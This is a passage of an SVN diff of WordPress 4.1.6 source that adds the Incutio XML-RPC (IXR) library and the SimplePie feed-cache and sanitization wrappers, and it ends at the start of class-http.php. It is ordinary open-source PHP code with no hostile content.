+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
+ * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package IXR
+ * @since 1.5.0
+ *
+ * @copyright  Incutio Ltd 2010 (http://www.incutio.com)
+ * @version    1.7.4 7th September 2010
+ * @author     Simon Willison
+ * @link       http://scripts.incutio.com/xmlrpc/ Site/manual
+ * @license    http://www.opensource.org/licenses/bsd-license.php BSD
+ */
+
+/**
+ * IXR_Value
+ *
+ * @package IXR
+ * @since 1.5.0
+ */
+class IXR_Value {
+    var $data;
+    var $type;
+
+    function IXR_Value($data, $type = false)
+    {
+        $this->data = $data;
+        if (!$type) {
+            $type = $this->calculateType();
+        }
+        $this->type = $type;
+        if ($type == 'struct') {
+            // Turn all the values in the array in to new IXR_Value objects
+            foreach ($this->data as $key => $value) {
+                $this->data[$key] = new IXR_Value($value);
+            }
+        }
+        if ($type == 'array') {
+            for ($i = 0, $j = count($this->data); $i < $j; $i++) {
+                $this->data[$i] = new IXR_Value($this->data[$i]);
+            }
+        }
+    }
+
+    function calculateType()
+    {
+        if ($this->data === true || $this->data === false) {
+            return 'boolean';
+        }
+        if (is_integer($this->data)) {
+            return 'int';
+        }
+        if (is_double($this->data)) {
+            return 'double';
+        }
+
+        // Deal with IXR object types base64 and date
+        if (is_object($this->data) && is_a($this->data, 'IXR_Date')) {
+            return 'date';
+        }
+        if (is_object($this->data) && is_a($this->data, 'IXR_Base64')) {
+            return 'base64';
+        }
+
+        // If it is a normal PHP object convert it in to a struct
+        if (is_object($this->data)) {
+            $this->data = get_object_vars($this->data);
+            return 'struct';
+        }
+        if (!is_array($this->data)) {
+            return 'string';
+        }
+
+        // We have an array - is it an array or a struct?
+        if ($this->isStruct($this->data)) {
+            return 'struct';
+        } else {
+            return 'array';
+        }
+    }
+
+    function getXml()
+    {
+        // Return XML for this value
+        switch ($this->type) {
+            case 'boolean':
+                return '<boolean>'.(($this->data) ? '1' : '0').'</boolean>';
+                break;
+            case 'int':
+                return '<int>'.$this->data.'</int>';
+                break;
+            case 'double':
+                return '<double>'.$this->data.'</double>';
+                break;
+            case 'string':
+                return '<string>'.htmlspecialchars($this->data).'</string>';
+                break;
+            case 'array':
+                $return = '<array><data>'."\n";
+                foreach ($this->data as $item) {
+                    $return .= '  <value>'.$item->getXml()."</value>\n";
+                }
+                $return .= '</data></array>';
+                return $return;
+                break;
+            case 'struct':
+                $return = '<struct>'."\n";
+                foreach ($this->data as $name => $value) {
+					$name = htmlspecialchars($name);
+                    $return .= "  <member><name>$name</name><value>";
+                    $return .= $value->getXml()."</value></member>\n";
+                }
+                $return .= '</struct>';
+                return $return;
+                break;
+            case 'date':
+            case 'base64':
+                return $this->data->getXml();
+                break;
+        }
+        return false;
+    }
+
+    /**
+     * Checks whether or not the supplied array is a struct or not
+     *
+     * @param array $array
+     * @return boolean
+     */
+    function isStruct($array)
+    {
+        $expected = 0;
+        foreach ($array as $key => $value) {
+            if ((string)$key != (string)$expected) {
+                return true;
+            }
+            $expected++;
+        }
+        return false;
+    }
+}
+
+/**
+ * IXR_MESSAGE
+ *
+ * @package IXR
+ * @since 1.5.0
+ *
+ */
+class IXR_Message
+{
+    var $message;
+    var $messageType;  // methodCall / methodResponse / fault
+    var $faultCode;
+    var $faultString;
+    var $methodName;
+    var $params;
+
+    // Current variable stacks
+    var $_arraystructs = array();   // The stack used to keep track of the current array/struct
+    var $_arraystructstypes = array(); // Stack keeping track of if things are structs or array
+    var $_currentStructName = array();  // A stack as well
+    var $_param;
+    var $_value;
+    var $_currentTag;
+    var $_currentTagContents;
+    // The XML parser
+    var $_parser;
+
+    function IXR_Message($message)
+    {
+        $this->message =& $message;
+    }
+
+    function parse()
+    {
+        // first remove the XML declaration
+        // merged from WP #10698 - this method avoids the RAM usage of preg_replace on very large messages
+        $header = preg_replace( '/<\?xml.*?\?'.'>/s', '', substr( $this->message, 0, 100 ), 1 );
+        $this->message = trim( substr_replace( $this->message, $header, 0, 100 ) );
+        if ( '' == $this->message ) {
+            return false;
+        }
+
+        // Then remove the DOCTYPE
+        $header = preg_replace( '/^<!DOCTYPE[^>]*+>/i', '', substr( $this->message, 0, 200 ), 1 );
+        $this->message = trim( substr_replace( $this->message, $header, 0, 200 ) );
+        if ( '' == $this->message ) {
+            return false;
+        }
+
+        // Check that the root tag is valid
+        $root_tag = substr( $this->message, 0, strcspn( substr( $this->message, 0, 20 ), "> \t\r\n" ) );
+        if ( '<!DOCTYPE' === strtoupper( $root_tag ) ) {
+            return false;
+        }
+        if ( ! in_array( $root_tag, array( '<methodCall', '<methodResponse', '<fault' ) ) ) {
+            return false;
+        }
+
+        // Bail if there are too many elements to parse
+        $element_limit = 30000;
+        if ( function_exists( 'apply_filters' ) ) {
+            /**
+             * Filter the number of elements to parse in an XML-RPC response.
+             *
+             * @since 4.0.0
+             *
+             * @param int $element_limit Default elements limit.
+             */
+            $element_limit = apply_filters( 'xmlrpc_element_limit', $element_limit );
+        }
+        if ( $element_limit && 2 * $element_limit < substr_count( $this->message, '<' ) ) {
+            return false;
+        }
+
+        $this->_parser = xml_parser_create();
+        // Set XML parser to take the case of tags in to account
+        xml_parser_set_option($this->_parser, XML_OPTION_CASE_FOLDING, false);
+        // Set XML parser callback functions
+        xml_set_object($this->_parser, $this);
+        xml_set_element_handler($this->_parser, 'tag_open', 'tag_close');
+        xml_set_character_data_handler($this->_parser, 'cdata');
+        $chunk_size = 262144; // 256Kb, parse in chunks to avoid the RAM usage on very large messages
+        $final = false;
+        do {
+            if (strlen($this->message) <= $chunk_size) {
+                $final = true;
+            }
+            $part = substr($this->message, 0, $chunk_size);
+            $this->message = substr($this->message, $chunk_size);
+            if (!xml_parse($this->_parser, $part, $final)) {
+                return false;
+            }
+            if ($final) {
+                break;
+            }
+        } while (true);
+        xml_parser_free($this->_parser);
+
+        // Grab the error messages, if any
+        if ($this->messageType == 'fault') {
+            $this->faultCode = $this->params[0]['faultCode'];
+            $this->faultString = $this->params[0]['faultString'];
+        }
+        return true;
+    }
+
+    function tag_open($parser, $tag, $attr)
+    {
+        $this->_currentTagContents = '';
+        $this->currentTag = $tag;
+        switch($tag) {
+            case 'methodCall':
+            case 'methodResponse':
+            case 'fault':
+                $this->messageType = $tag;
+                break;
+                /* Deal with stacks of arrays and structs */
+            case 'data':    // data is to all intents and puposes more interesting than array
+                $this->_arraystructstypes[] = 'array';
+                $this->_arraystructs[] = array();
+                break;
+            case 'struct':
+                $this->_arraystructstypes[] = 'struct';
+                $this->_arraystructs[] = array();
+                break;
+        }
+    }
+
+    function cdata($parser, $cdata)
+    {
+        $this->_currentTagContents .= $cdata;
+    }
+
+    function tag_close($parser, $tag)
+    {
+        $valueFlag = false;
+        switch($tag) {
+            case 'int':
+            case 'i4':
+                $value = (int)trim($this->_currentTagContents);
+                $valueFlag = true;
+                break;
+            case 'double':
+                $value = (double)trim($this->_currentTagContents);
+                $valueFlag = true;
+                break;
+            case 'string':
+                $value = (string)trim($this->_currentTagContents);
+                $valueFlag = true;
+                break;
+            case 'dateTime.iso8601':
+                $value = new IXR_Date(trim($this->_currentTagContents));
+                $valueFlag = true;
+                break;
+            case 'value':
+                // "If no type is indicated, the type is string."
+                if (trim($this->_currentTagContents) != '') {
+                    $value = (string)$this->_currentTagContents;
+                    $valueFlag = true;
+                }
+                break;
+            case 'boolean':
+                $value = (boolean)trim($this->_currentTagContents);
+                $valueFlag = true;
+                break;
+            case 'base64':
+                $value = base64_decode($this->_currentTagContents);
+                $valueFlag = true;
+                break;
+                /* Deal with stacks of arrays and structs */
+            case 'data':
+            case 'struct':
+                $value = array_pop($this->_arraystructs);
+                array_pop($this->_arraystructstypes);
+                $valueFlag = true;
+                break;
+            case 'member':
+                array_pop($this->_currentStructName);
+                break;
+            case 'name':
+                $this->_currentStructName[] = trim($this->_currentTagContents);
+                break;
+            case 'methodName':
+                $this->methodName = trim($this->_currentTagContents);
+                break;
+        }
+
+        if ($valueFlag) {
+            if (count($this->_arraystructs) > 0) {
+                // Add value to struct or array
+                if ($this->_arraystructstypes[count($this->_arraystructstypes)-1] == 'struct') {
+                    // Add to struct
+                    $this->_arraystructs[count($this->_arraystructs)-1][$this->_currentStructName[count($this->_currentStructName)-1]] = $value;
+                } else {
+                    // Add to array
+                    $this->_arraystructs[count($this->_arraystructs)-1][] = $value;
+                }
+            } else {
+                // Just add as a parameter
+                $this->params[] = $value;
+            }
+        }
+        $this->_currentTagContents = '';
+    }
+}
+
+/**
+ * IXR_Server
+ *
+ * @package IXR
+ * @since 1.5.0
+ */
+class IXR_Server
+{
+    var $data;
+    var $callbacks = array();
+    var $message;
+    var $capabilities;
+
+    function IXR_Server($callbacks = false, $data = false, $wait = false)
+    {
+        $this->setCapabilities();
+        if ($callbacks) {
+            $this->callbacks = $callbacks;
+        }
+        $this->setCallbacks();
+        if (!$wait) {
+            $this->serve($data);
+        }
+    }
+
+    function serve($data = false)
+    {
+        if (!$data) {
+            if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] !== 'POST') {
+            	header('Content-Type: text/plain'); // merged from WP #9093
+                die('XML-RPC server accepts POST requests only.');
+            }
+
+            global $HTTP_RAW_POST_DATA;
+            if (empty($HTTP_RAW_POST_DATA)) {
+                // workaround for a bug in PHP 5.2.2 - http://bugs.php.net/bug.php?id=41293
+                $data = file_get_contents('php://input');
+            } else {
+                $data =& $HTTP_RAW_POST_DATA;
+            }
+        }
+        $this->message = new IXR_Message($data);
+        if (!$this->message->parse()) {
+            $this->error(-32700, 'parse error. not well formed');
+        }
+        if ($this->message->messageType != 'methodCall') {
+            $this->error(-32600, 'server error. invalid xml-rpc. not conforming to spec. Request must be a methodCall');
+        }
+        $result = $this->call($this->message->methodName, $this->message->params);
+
+        // Is the result an error?
+        if (is_a($result, 'IXR_Error')) {
+            $this->error($result);
+        }
+
+        // Encode the result
+        $r = new IXR_Value($result);
+        $resultxml = $r->getXml();
+
+        // Create the XML
+        $xml = <<<EOD
+<methodResponse>
+  <params>
+    <param>
+      <value>
+      $resultxml
+      </value>
+    </param>
+  </params>
+</methodResponse>
+
+EOD;
+      // Send it
+      $this->output($xml);
+    }
+
+    function call($methodname, $args)
+    {
+        if (!$this->hasMethod($methodname)) {
+            return new IXR_Error(-32601, 'server error. requested method '.$methodname.' does not exist.');
+        }
+        $method = $this->callbacks[$methodname];
+
+        // Perform the callback and send the response
+        if (count($args) == 1) {
+            // If only one parameter just send that instead of the whole array
+            $args = $args[0];
+        }
+
+        // Are we dealing with a function or a method?
+        if (is_string($method) && substr($method, 0, 5) == 'this:') {
+            // It's a class method - check it exists
+            $method = substr($method, 5);
+            if (!method_exists($this, $method)) {
+                return new IXR_Error(-32601, 'server error. requested class method "'.$method.'" does not exist.');
+            }
+
+            //Call the method
+            $result = $this->$method($args);
+        } else {
+            // It's a function - does it exist?
+            if (is_array($method)) {
+                if (!is_callable(array($method[0], $method[1]))) {
+                    return new IXR_Error(-32601, 'server error. requested object method "'.$method[1].'" does not exist.');
+                }
+            } else if (!function_exists($method)) {
+                return new IXR_Error(-32601, 'server error. requested function "'.$method.'" does not exist.');
+            }
+
+            // Call the function
+            $result = call_user_func($method, $args);
+        }
+        return $result;
+    }
+
+    function error($error, $message = false)
+    {
+        // Accepts either an error object or an error code and message
+        if ($message && !is_object($error)) {
+            $error = new IXR_Error($error, $message);
+        }
+        $this->output($error->getXml());
+    }
+
+    function output($xml)
+    {
+        $charset = function_exists('get_option') ? get_option('blog_charset') : '';
+        if ($charset)
+            $xml = '<?xml version="1.0" encoding="'.$charset.'"?>'."\n".$xml;
+        else
+            $xml = '<?xml version="1.0"?>'."\n".$xml;
+        $length = strlen($xml);
+        header('Connection: close');
+        header('Content-Length: '.$length);
+        if ($charset)
+            header('Content-Type: text/xml; charset='.$charset);
+        else
+            header('Content-Type: text/xml');
+        header('Date: '.date('r'));
+        echo $xml;
+        exit;
+    }
+
+    function hasMethod($method)
+    {
+        return in_array($method, array_keys($this->callbacks));
+    }
+
+    function setCapabilities()
+    {
+        // Initialises capabilities array
+        $this->capabilities = array(
+            'xmlrpc' => array(
+                'specUrl' => 'http://www.xmlrpc.com/spec',
+                'specVersion' => 1
+        ),
+            'faults_interop' => array(
+                'specUrl' => 'http://xmlrpc-epi.sourceforge.net/specs/rfc.fault_codes.php',
+                'specVersion' => 20010516
+        ),
+            'system.multicall' => array(
+                'specUrl' => 'http://www.xmlrpc.com/discuss/msgReader$1208',
+                'specVersion' => 1
+        ),
+        );
+    }
+
+    function getCapabilities($args)
+    {
+        return $this->capabilities;
+    }
+
+    function setCallbacks()
+    {
+        $this->callbacks['system.getCapabilities'] = 'this:getCapabilities';
+        $this->callbacks['system.listMethods'] = 'this:listMethods';
+        $this->callbacks['system.multicall'] = 'this:multiCall';
+    }
+
+    function listMethods($args)
+    {
+        // Returns a list of methods - uses array_reverse to ensure user defined
+        // methods are listed before server defined methods
+        return array_reverse(array_keys($this->callbacks));
+    }
+
+    function multiCall($methodcalls)
+    {
+        // See http://www.xmlrpc.com/discuss/msgReader$1208
+        $return = array();
+        foreach ($methodcalls as $call) {
+            $method = $call['methodName'];
+            $params = $call['params'];
+            if ($method == 'system.multicall') {
+                $result = new IXR_Error(-32600, 'Recursive calls to system.multicall are forbidden');
+            } else {
+                $result = $this->call($method, $params);
+            }
+            if (is_a($result, 'IXR_Error')) {
+                $return[] = array(
+                    'faultCode' => $result->code,
+                    'faultString' => $result->message
+                );
+            } else {
+                $return[] = array($result);
+            }
+        }
+        return $return;
+    }
+}
+
+/**
+ * IXR_Request
+ *
+ * @package IXR
+ * @since 1.5.0
+ */
+class IXR_Request
+{
+    var $method;
+    var $args;
+    var $xml;
+
+    function IXR_Request($method, $args)
+    {
+        $this->method = $method;
+        $this->args = $args;
+        $this->xml = <<<EOD
+<?xml version="1.0"?>
+<methodCall>
+<methodName>{$this->method}</methodName>
+<params>
+
+EOD;
+        foreach ($this->args as $arg) {
+            $this->xml .= '<param><value>';
+            $v = new IXR_Value($arg);
+            $this->xml .= $v->getXml();
+            $this->xml .= "</value></param>\n";
+        }
+        $this->xml .= '</params></methodCall>';
+    }
+
+    function getLength()
+    {
+        return strlen($this->xml);
+    }
+
+    function getXml()
+    {
+        return $this->xml;
+    }
+}
+
+/**
+ * IXR_Client
+ *
+ * @package IXR
+ * @since 1.5.0
+ *
+ */
+class IXR_Client
+{
+    var $server;
+    var $port;
+    var $path;
+    var $useragent;
+    var $response;
+    var $message = false;
+    var $debug = false;
+    var $timeout;
+    var $headers = array();
+
+    // Storage place for an error message
+    var $error = false;
+
+    function IXR_Client($server, $path = false, $port = 80, $timeout = 15)
+    {
+        if (!$path) {
+            // Assume we have been given a URL instead
+            $bits = parse_url($server);
+            $this->server = $bits['host'];
+            $this->port = isset($bits['port']) ? $bits['port'] : 80;
+            $this->path = isset($bits['path']) ? $bits['path'] : '/';
+
+            // Make absolutely sure we have a path
+            if (!$this->path) {
+                $this->path = '/';
+            }
+
+            if ( ! empty( $bits['query'] ) ) {
+                $this->path .= '?' . $bits['query'];
+            }
+        } else {
+            $this->server = $server;
+            $this->path = $path;
+            $this->port = $port;
+        }
+        $this->useragent = 'The Incutio XML-RPC PHP Library';
+        $this->timeout = $timeout;
+    }
+
+    function query()
+    {
+        $args = func_get_args();
+        $method = array_shift($args);
+        $request = new IXR_Request($method, $args);
+        $length = $request->getLength();
+        $xml = $request->getXml();
+        $r = "\r\n";
+        $request  = "POST {$this->path} HTTP/1.0$r";
+
+        // Merged from WP #8145 - allow custom headers
+        $this->headers['Host']          = $this->server;
+        $this->headers['Content-Type']  = 'text/xml';
+        $this->headers['User-Agent']    = $this->useragent;
+        $this->headers['Content-Length']= $length;
+
+        foreach( $this->headers as $header => $value ) {
+            $request .= "{$header}: {$value}{$r}";
+        }
+        $request .= $r;
+
+        $request .= $xml;
+
+        // Now send the request
+        if ($this->debug) {
+            echo '<pre class="ixr_request">'.htmlspecialchars($request)."\n</pre>\n\n";
+        }
+
+        if ($this->timeout) {
+            $fp = @fsockopen($this->server, $this->port, $errno, $errstr, $this->timeout);
+        } else {
+            $fp = @fsockopen($this->server, $this->port, $errno, $errstr);
+        }
+        if (!$fp) {
+            $this->error = new IXR_Error(-32300, 'transport error - could not open socket');
+            return false;
+        }
+        fputs($fp, $request);
+        $contents = '';
+        $debugContents = '';
+        $gotFirstLine = false;
+        $gettingHeaders = true;
+        while (!feof($fp)) {
+            $line = fgets($fp, 4096);
+            if (!$gotFirstLine) {
+                // Check line for '200'
+                if (strstr($line, '200') === false) {
+                    $this->error = new IXR_Error(-32300, 'transport error - HTTP status code was not 200');
+                    return false;
+                }
+                $gotFirstLine = true;
+            }
+            if (trim($line) == '') {
+                $gettingHeaders = false;
+            }
+            if (!$gettingHeaders) {
+            	// merged from WP #12559 - remove trim
+                $contents .= $line;
+            }
+            if ($this->debug) {
+            	$debugContents .= $line;
+            }
+        }
+        if ($this->debug) {
+            echo '<pre class="ixr_response">'.htmlspecialchars($debugContents)."\n</pre>\n\n";
+        }
+
+        // Now parse what we've got back
+        $this->message = new IXR_Message($contents);
+        if (!$this->message->parse()) {
+            // XML error
+            $this->error = new IXR_Error(-32700, 'parse error. not well formed');
+            return false;
+        }
+
+        // Is the message a fault?
+        if ($this->message->messageType == 'fault') {
+            $this->error = new IXR_Error($this->message->faultCode, $this->message->faultString);
+            return false;
+        }
+
+        // Message must be OK
+        return true;
+    }
+
+    function getResponse()
+    {
+        // methodResponses can only have one param - return that
+        return $this->message->params[0];
+    }
+
+    function isError()
+    {
+        return (is_object($this->error));
+    }
+
+    function getErrorCode()
+    {
+        return $this->error->code;
+    }
+
+    function getErrorMessage()
+    {
+        return $this->error->message;
+    }
+}
+
+
+/**
+ * IXR_Error
+ *
+ * @package IXR
+ * @since 1.5.0
+ */
+class IXR_Error
+{
+    var $code;
+    var $message;
+
+    function IXR_Error($code, $message)
+    {
+        $this->code = $code;
+        $this->message = htmlspecialchars($message);
+    }
+
+    function getXml()
+    {
+        $xml = <<<EOD
+<methodResponse>
+  <fault>
+    <value>
+      <struct>
+        <member>
+          <name>faultCode</name>
+          <value><int>{$this->code}</int></value>
+        </member>
+        <member>
+          <name>faultString</name>
+          <value><string>{$this->message}</string></value>
+        </member>
+      </struct>
+    </value>
+  </fault>
+</methodResponse>
+
+EOD;
+        return $xml;
+    }
+}
+
+/**
+ * IXR_Date
+ *
+ * @package IXR
+ * @since 1.5.0
+ */
+class IXR_Date {
+    var $year;
+    var $month;
+    var $day;
+    var $hour;
+    var $minute;
+    var $second;
+    var $timezone;
+
+    function IXR_Date($time)
+    {
+        // $time can be a PHP timestamp or an ISO one
+        if (is_numeric($time)) {
+            $this->parseTimestamp($time);
+        } else {
+            $this->parseIso($time);
+        }
+    }
+
+    function parseTimestamp($timestamp)
+    {
+        $this->year = date('Y', $timestamp);
+        $this->month = date('m', $timestamp);
+        $this->day = date('d', $timestamp);
+        $this->hour = date('H', $timestamp);
+        $this->minute = date('i', $timestamp);
+        $this->second = date('s', $timestamp);
+        $this->timezone = '';
+    }
+
+    function parseIso($iso)
+    {
+        $this->year = substr($iso, 0, 4);
+        $this->month = substr($iso, 4, 2);
+        $this->day = substr($iso, 6, 2);
+        $this->hour = substr($iso, 9, 2);
+        $this->minute = substr($iso, 12, 2);
+        $this->second = substr($iso, 15, 2);
+        $this->timezone = substr($iso, 17);
+    }
+
+    function getIso()
+    {
+        return $this->year.$this->month.$this->day.'T'.$this->hour.':'.$this->minute.':'.$this->second.$this->timezone;
+    }
+
+    function getXml()
+    {
+        return '<dateTime.iso8601>'.$this->getIso().'</dateTime.iso8601>';
+    }
+
+    function getTimestamp()
+    {
+        return mktime($this->hour, $this->minute, $this->second, $this->month, $this->day, $this->year);
+    }
+}
+
+/**
+ * IXR_Base64
+ *
+ * @package IXR
+ * @since 1.5.0
+ */
+class IXR_Base64
+{
+    var $data;
+
+    function IXR_Base64($data)
+    {
+        $this->data = $data;
+    }
+
+    function getXml()
+    {
+        return '<base64>'.base64_encode($this->data).'</base64>';
+    }
+}
+
+/**
+ * IXR_IntrospectionServer
+ *
+ * @package IXR
+ * @since 1.5.0
+ */
+class IXR_IntrospectionServer extends IXR_Server
+{
+    var $signatures;
+    var $help;
+
+    function IXR_IntrospectionServer()
+    {
+        $this->setCallbacks();
+        $this->setCapabilities();
+        $this->capabilities['introspection'] = array(
+            'specUrl' => 'http://xmlrpc.usefulinc.com/doc/reserved.html',
+            'specVersion' => 1
+        );
+        $this->addCallback(
+            'system.methodSignature',
+            'this:methodSignature',
+            array('array', 'string'),
+            'Returns an array describing the return type and required parameters of a method'
+        );
+        $this->addCallback(
+            'system.getCapabilities',
+            'this:getCapabilities',
+            array('struct'),
+            'Returns a struct describing the XML-RPC specifications supported by this server'
+        );
+        $this->addCallback(
+            'system.listMethods',
+            'this:listMethods',
+            array('array'),
+            'Returns an array of available methods on this server'
+        );
+        $this->addCallback(
+            'system.methodHelp',
+            'this:methodHelp',
+            array('string', 'string'),
+            'Returns a documentation string for the specified method'
+        );
+    }
+
+    function addCallback($method, $callback, $args, $help)
+    {
+        $this->callbacks[$method] = $callback;
+        $this->signatures[$method] = $args;
+        $this->help[$method] = $help;
+    }
+
+    function call($methodname, $args)
+    {
+        // Make sure it's in an array
+        if ($args && !is_array($args)) {
+            $args = array($args);
+        }
+
+        // Over-rides default call method, adds signature check
+        if (!$this->hasMethod($methodname)) {
+            return new IXR_Error(-32601, 'server error. requested method "'.$this->message->methodName.'" not specified.');
+        }
+        $method = $this->callbacks[$methodname];
+        $signature = $this->signatures[$methodname];
+        $returnType = array_shift($signature);
+
+        // Check the number of arguments
+        if (count($args) != count($signature)) {
+            return new IXR_Error(-32602, 'server error. wrong number of method parameters');
+        }
+
+        // Check the argument types
+        $ok = true;
+        $argsbackup = $args;
+        for ($i = 0, $j = count($args); $i < $j; $i++) {
+            $arg = array_shift($args);
+            $type = array_shift($signature);
+            switch ($type) {
+                case 'int':
+                case 'i4':
+                    if (is_array($arg) || !is_int($arg)) {
+                        $ok = false;
+                    }
+                    break;
+                case 'base64':
+                case 'string':
+                    if (!is_string($arg)) {
+                        $ok = false;
+                    }
+                    break;
+                case 'boolean':
+                    if ($arg !== false && $arg !== true) {
+                        $ok = false;
+                    }
+                    break;
+                case 'float':
+                case 'double':
+                    if (!is_float($arg)) {
+                        $ok = false;
+                    }
+                    break;
+                case 'date':
+                case 'dateTime.iso8601':
+                    if (!is_a($arg, 'IXR_Date')) {
+                        $ok = false;
+                    }
+                    break;
+            }
+            if (!$ok) {
+                return new IXR_Error(-32602, 'server error. invalid method parameters');
+            }
+        }
+        // It passed the test - run the "real" method call
+        return parent::call($methodname, $argsbackup);
+    }
+
+    function methodSignature($method)
+    {
+        if (!$this->hasMethod($method)) {
+            return new IXR_Error(-32601, 'server error. requested method "'.$method.'" not specified.');
+        }
+        // We should be returning an array of types
+        $types = $this->signatures[$method];
+        $return = array();
+        foreach ($types as $type) {
+            switch ($type) {
+                case 'string':
+                    $return[] = 'string';
+                    break;
+                case 'int':
+                case 'i4':
+                    $return[] = 42;
+                    break;
+                case 'double':
+                    $return[] = 3.1415;
+                    break;
+                case 'dateTime.iso8601':
+                    $return[] = new IXR_Date(time());
+                    break;
+                case 'boolean':
+                    $return[] = true;
+                    break;
+                case 'base64':
+                    $return[] = new IXR_Base64('base64');
+                    break;
+                case 'array':
+                    $return[] = array('array');
+                    break;
+                case 'struct':
+                    $return[] = array('struct' => 'struct');
+                    break;
+            }
+        }
+        return $return;
+    }
+
+    function methodHelp($method)
+    {
+        return $this->help[$method];
+    }
+}
+
+/**
+ * IXR_ClientMulticall
+ *
+ * @package IXR
+ * @since 1.5.0
+ */
+class IXR_ClientMulticall extends IXR_Client
+{
+    var $calls = array();
+
+    function IXR_ClientMulticall($server, $path = false, $port = 80)
+    {
+        parent::IXR_Client($server, $path, $port);
+        $this->useragent = 'The Incutio XML-RPC PHP Library (multicall client)';
+    }
+
+    function addCall()
+    {
+        $args = func_get_args();
+        $methodName = array_shift($args);
+        $struct = array(
+            'methodName' => $methodName,
+            'params' => $args
+        );
+        $this->calls[] = $struct;
+    }
+
+    function query()
+    {
+        // Prepare multicall, then call the parent::query() method
+        return parent::query('system.multicall', $this->calls);
+    }
+}
Index: /tags/4.1.6/src/wp-includes/class-feed.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class-feed.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class-feed.php	(revision 33402)
@@ -0,0 +1,140 @@
+<?php
+
+if ( !class_exists('SimplePie') )
+	require_once( ABSPATH . WPINC . '/class-simplepie.php' );
+
+class WP_Feed_Cache extends SimplePie_Cache {
+	/**
+	 * Create a new SimplePie_Cache object
+	 *
+	 * @static
+	 * @access public
+	 */
+	public function create($location, $filename, $extension) {
+		return new WP_Feed_Cache_Transient($location, $filename, $extension);
+	}
+}
+
+class WP_Feed_Cache_Transient {
+	public $name;
+	public $mod_name;
+	public $lifetime = 43200; //Default lifetime in cache of 12 hours
+
+	public function __construct($location, $filename, $extension) {
+		$this->name = 'feed_' . $filename;
+		$this->mod_name = 'feed_mod_' . $filename;
+
+		$lifetime = $this->lifetime;
+		/**
+		 * Filter the transient lifetime of the feed cache.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param int    $lifetime Cache duration in seconds. Default is 43200 seconds (12 hours).
+		 * @param string $filename Unique identifier for the cache object.
+		 */
+		$this->lifetime = apply_filters( 'wp_feed_cache_transient_lifetime', $lifetime, $filename);
+	}
+
+	public function save($data) {
+		if ( is_a($data, 'SimplePie') )
+			$data = $data->data;
+
+		set_transient($this->name, $data, $this->lifetime);
+		set_transient($this->mod_name, time(), $this->lifetime);
+		return true;
+	}
+
+	public function load() {
+		return get_transient($this->name);
+	}
+
+	public function mtime() {
+		return get_transient($this->mod_name);
+	}
+
+	public function touch() {
+		return set_transient($this->mod_name, time(), $this->lifetime);
+	}
+
+	public function unlink() {
+		delete_transient($this->name);
+		delete_transient($this->mod_name);
+		return true;
+	}
+}
+
+class WP_SimplePie_File extends SimplePie_File {
+
+	public function __construct($url, $timeout = 10, $redirects = 5, $headers = null, $useragent = null, $force_fsockopen = false) {
+		$this->url = $url;
+		$this->timeout = $timeout;
+		$this->redirects = $redirects;
+		$this->headers = $headers;
+		$this->useragent = $useragent;
+
+		$this->method = SIMPLEPIE_FILE_SOURCE_REMOTE;
+
+		if ( preg_match('/^http(s)?:\/\//i', $url) ) {
+			$args = array(
+				'timeout' => $this->timeout,
+				'redirection' => $this->redirects,
+			);
+
+			if ( !empty($this->headers) )
+				$args['headers'] = $this->headers;
+
+			if ( SIMPLEPIE_USERAGENT != $this->useragent ) //Use default WP user agent unless custom has been specified
+				$args['user-agent'] = $this->useragent;
+
+			$res = wp_safe_remote_request($url, $args);
+
+			if ( is_wp_error($res) ) {
+				$this->error = 'WP HTTP Error: ' . $res->get_error_message();
+				$this->success = false;
+			} else {
+				$this->headers = wp_remote_retrieve_headers( $res );
+				$this->body = wp_remote_retrieve_body( $res );
+				$this->status_code = wp_remote_retrieve_response_code( $res );
+			}
+		} else {
+			$this->error = '';
+			$this->success = false;
+		}
+	}
+}
+
+/**
+ * WordPress SimplePie Sanitization Class
+ *
+ * Extension of the SimplePie_Sanitize class to use KSES, because
+ * we cannot universally count on DOMDocument being available
+ *
+ * @package WordPress
+ * @since 3.5.0
+ */
+class WP_SimplePie_Sanitize_KSES extends SimplePie_Sanitize {
+	public function sanitize( $data, $type, $base = '' ) {
+		$data = trim( $data );
+		if ( $type & SIMPLEPIE_CONSTRUCT_MAYBE_HTML ) {
+			if (preg_match('/(&(#(x[0-9a-fA-F]+|[0-9]+)|[a-zA-Z0-9]+)|<\/[A-Za-z][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E]*' . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . '>)/', $data)) {
+				$type |= SIMPLEPIE_CONSTRUCT_HTML;
+			}
+			else {
+				$type |= SIMPLEPIE_CONSTRUCT_TEXT;
+			}
+		}
+		if ( $type & SIMPLEPIE_CONSTRUCT_BASE64 ) {
+			$data = base64_decode( $data );
+		}
+		if ( $type & ( SIMPLEPIE_CONSTRUCT_HTML | SIMPLEPIE_CONSTRUCT_XHTML ) ) {
+			$data = wp_kses_post( $data );
+			if ( $this->output_encoding !== 'UTF-8' ) {
+				$data = $this->registry->call( 'Misc', 'change_encoding', array( $data, 'UTF-8', $this->output_encoding ) );
+			}
+			return $data;
+		} else {
+			return parent::sanitize( $data, $type, $base );
+		}
+	}
+}
Index: /tags/4.1.6/src/wp-includes/class-http.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class-http.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class-http.php	(revision 33402)
@@ -0,0 +1,2268 @@
+<?php
+/**
+ * Simple and uniform HTTP request API.
+ *
+ * Standardizes the HTTP requests for WordPress. Handles cookies, gzip encoding and decoding, chunk
+ * decoding, if HTTP 1.1 and various other difficult HTTP protocol implementations.
+ *
+ * @link https://core.trac.wordpress.org/ticket/4779 HTTP API Proposal
+ *
+ * @package WordPress
+ * @subpackage HTTP
+ * @since 2.7.0
+ */
+
+/**
